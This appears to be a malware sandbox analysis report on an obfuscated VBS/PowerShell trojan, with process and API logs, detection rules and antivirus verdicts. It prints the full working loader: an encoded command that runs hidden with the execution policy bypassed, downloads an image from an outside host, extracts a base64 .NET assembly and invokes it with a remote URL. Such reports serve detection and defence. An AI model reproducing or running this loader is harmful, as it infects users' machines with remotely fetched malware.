63)&Chr(63)HMChr(63)&Chr(63)cwBvChr(63)&Chr(63)HYChr(63)&Chr(63)aQB0Chr(63)&Chr(63)GsChr(63)&Chr(63)YQChr(63)&Chr(63)yChr(63)&Chr(63)GEChr(63)&Chr(63)bQBhChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)YQChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)NQChr(63)&Chr(63)uChr(63)&Chr(63)DcChr(63)&Chr(63)MgChr(63)&Chr(63)uChr(63)&Chr(63)DQChr(63)&Chr(63)MQChr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)NQChr(63)&Chr(63)5Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2080
thread_handle: 0x0000000000000324
process_identifier: 832
current_directory: C:\Users\test22\Desktop
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/65.72.412.59//:ptth');$method.Invoke($null, $arguments)"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000000000000368
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received Wdý q²/&) Oo4J>̘dàbÈDOWNGRD ÷0ZjÞfR6'O‘ÙüpꢳüƒÃýïŒ{v‘ø-WÀ ÿ 
Data received P
Data received “
Data received Aa<,ƒª}FòúCZ'׉VýKíO×KB³k{Ñ*úāÃU!Ö¼P.’'¬–:ºï™Vš: ʊÍW•H0F!‹ƒb~Îó"MçmŠ†}ß-Gø:¸º¢MÜÌ÷¹}þ¼Ô÷!¸•P•{!HÓU%±¹¼sà¦ê9м†9‹ %c8¤¢
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ]q!eçÈG A‘4*:˜æhcñf_¡‹’0ˆ1³ïÙ0­*¡§AYµôk4J
Data sent yudý qÎB&,ÿ Çm !\È ö­ ³ր87Žþ¸/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBAžÚBþ#Y±"ĔéñœLÄLèš<Ž4oÝÀÖ3_Þ';öYõ¶5ãÄ)Ð ;ßøèÞ^$vsGÚô~0jg”âȐK<ÿU®Êñ8mñl] µ{…(tẫœÁšé55†‚Òþþs=Ät~Ÿ¬
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:204 CREDAT:145409
host 117.18.232.200
FireEye VB:Trojan.Valyria.8466
Arcabit VB:Trojan.Valyria.D2112
Avast VBS:Obfuscated-JK [Cryp]
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VB:Trojan.Valyria.8466
MicroWorld-eScan VB:Trojan.Valyria.8466
Emsisoft VB:Trojan.Valyria.8466 (B)
F-Secure Malware.VBS/YAV.Minerva.wcbjz
VIPRE VB:Trojan.Valyria.8466
Ikarus Trojan.VBS.Agent
Avira VBS/YAV.Minerva.wcbjz
GData VB:Trojan.Valyria.8466
Google Detected
ALYac VB:Trojan.Valyria.8466
MAX malware (ai score=88)
AVG VBS:Obfuscated-JK [Cryp]
parent_process iexplore.exe martian_process powershell -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DkChr(63)&Chr(63)NwChr(63)&Chr(63)vChr(63)&Chr(63)DIChr(63)&Chr(63)MwChr(63)&Chr(63)2Chr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)cgB1Chr(63)&Chr(63)G0Chr(63)&Chr(63)cChr(63)&Chr(63)BfChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)cgBpChr(63)&Chr(63)HYChr(63)&Chr(63)YQBkChr(63)&Chr(63)GEChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZwChr(63)&Chr(63)/Chr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DcChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)3Chr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HcChr(63)&Chr(63)LQBPChr(63)&Chr(63)GIChr(63)&Chr(63)agBlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HQChr(63)&Chr(63)LgBXChr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RChr(63)&Chr(63)BvChr(63)&Chr(63)HcChr(63)&Chr(63)bgBsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)EQChr(63)&Chr(63)YQB0Chr(63)&Chr(63)GEChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBVChr(63)&Chr(63)HIChr(63)&Chr(63)bChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EUChr(63)&Chr(63)bgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)BpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBVChr(63)&Chr(63)FQChr(63)&Chr(63)RgChr(63)&Chr(63)4Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBCChr(63)&Chr(63)HkChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBTChr(63)&Chr(63)FQChr(63)&Chr(63)QQBSChr(63)&Chr(63)FQChr(63)&Chr(63)PgChr(63)&Chr(63)+Chr(63)&Chr(63)CcChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBFChr(63)&Chr(63)E4Chr(63)&Chr(63)RChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)E8Chr(63)&Chr(63)ZgChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BGChr(63)&Chr(63)GwChr(63)&Chr(63)YQBnChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)ZQChr(63)&Chr(63)gChr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CsChr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)LgBMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)TChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)GgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBTChr(63)&Chr(63)HUChr(63)&Chr(63)YgBzChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)sChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)QwBvChr(63)&Chr(63)G4Chr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBGChr(63)&Chr(63)HIChr(63)&Chr(63)bwBtChr(63)&Chr(63)EIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)FMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZQBkChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)UgBlChr(63)&Chr(63)GYChr(63)&Chr(63)bChr(63)&Chr(63)BlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)BpChr(63)&Chr(63)G8Chr(63)&Chr(63)bgChr(63)&Chr(63)uChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBMChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)VChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)RgBpChr(63)&Chr(63)GIChr(63)&Chr(63)ZQByChr(63)&Chr(63)C4Chr(63)&Chr(63)SChr(63)&Chr(63)BvChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)uChr(63)&Chr(63)EcChr(63)&Chr(63)ZQB0Chr(63)&Chr(63)E0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CgChr(63)&Chr(63)JwBWChr(63)&Chr(63)EEChr(63)&Chr(63)SQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CwChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)HQChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DQChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)2Chr(63)&Chr(63)DMChr(63)&Chr(63)cwBhChr(63)&Chr(63)GIChr(63)&Chr(63)cwBzChr(63)&Chr(63)HMChr(63)&Chr(63)cwBvChr(63)&Chr(63)HYChr(63)&Chr(63)aQB0Chr(63)&Chr(63)GsChr(63)&Chr(63)YQChr(63)&Chr(63)yChr(63)&Chr(63)GEChr(63)&Chr(63)bQBhChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)YQChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)NQChr(63)&Chr(63)uChr(63)&Chr(63)DcChr(63)&Chr(63)MgChr(63)&Chr(63)uChr(63)&Chr(63)DQChr(63)&Chr(63)MQChr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)NQChr(63)&Chr(63)5Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

send

 buffer: yudý qÎB&,ÿ Çm !\È ö­ ³ր87Žþ¸/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1276
sent: 126
1 126 0

send

 buffer: FBAžÚBþ#Y±"ĔéñœLÄLèš<Ž4oÝÀÖ3_Þ';öYõ¶5ãÄ)Ð ;ßøèÞ^$vsGÚô~0jg”âȐK<ÿU®Êñ8mñl] µ{…(tẫœÁšé55†‚Òþþs=Ät~Ÿ¬
socket: 1276
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
